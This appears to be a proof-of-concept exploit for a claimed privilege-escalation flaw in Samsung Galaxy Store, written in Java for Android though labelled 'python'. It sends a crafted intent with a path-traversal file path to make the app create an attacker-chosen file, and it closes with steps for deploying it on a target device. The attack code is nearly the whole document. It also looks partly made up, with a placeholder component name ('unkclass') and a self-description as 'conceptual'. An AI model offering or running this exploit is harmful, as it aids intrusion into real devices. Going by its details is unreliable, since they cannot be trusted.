The following code is for security research and authorized testing only.
python
// CVE-2026-21000 PoC - Galaxy Store Privilege Escalation
// This PoC demonstrates improper access control in Galaxy Store
// Target: Samsung Galaxy Store < 4.6.03.8
// Note: This is a conceptual PoC for educational purposes only
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
public class GalaxyStoreExploit {
// Exploit the improper access control to create files with Galaxy Store privilege
public void exploitGalaxyStore() {
try {
// Step 1: Identify vulnerable component in Galaxy Store
// The vulnerability exists in how Galaxy Store handles file creation requests
// Step 2: Craft malicious intent to trigger file creation
Intent maliciousIntent = new Intent();
maliciousIntent.setComponent(new android.content.ComponentName(
"com.sec.android.app.samsungapps",
"com.sec.android.app.samsungapps.unkclass"
));
// Step 3: Set up data URI pointing to target file location
// This exploits the improper access control
Uri targetUri = Uri.parse("content://com.sec.android.app.samsungapps.provider/file_creation");
maliciousIntent.setData(targetUri);
// Step 4: Add extra data to specify file content and path
Bundle extras = new Bundle();
extras.putString("file_path", "/data/data/com.sec.android.app.samsungapps/../attacked_file");
extras.putString("file_content", "malicious_content");
maliciousIntent.putExtras(extras);
// Step 5: Launch the exploit
// This will create a file with Galaxy Store privileges
startActivity(maliciousIntent);
} catch (Exception e) {
e.printStackTrace();
}
}
// Verification method to check if file was created
public boolean verifyExploit() {
java.io.File createdFile = new java.io.File("/data/data/com.sec.android.app.samsungapps/attacked_file");
return createdFile.exists();
}
}
// Usage:
// 1. Deploy this exploit to the target Samsung device
// 2. Ensure the device has Galaxy Store < 4.6.03.8 installed
// 3. Execute the exploit with local user privileges
// 4. Verify file creation with elevated privileges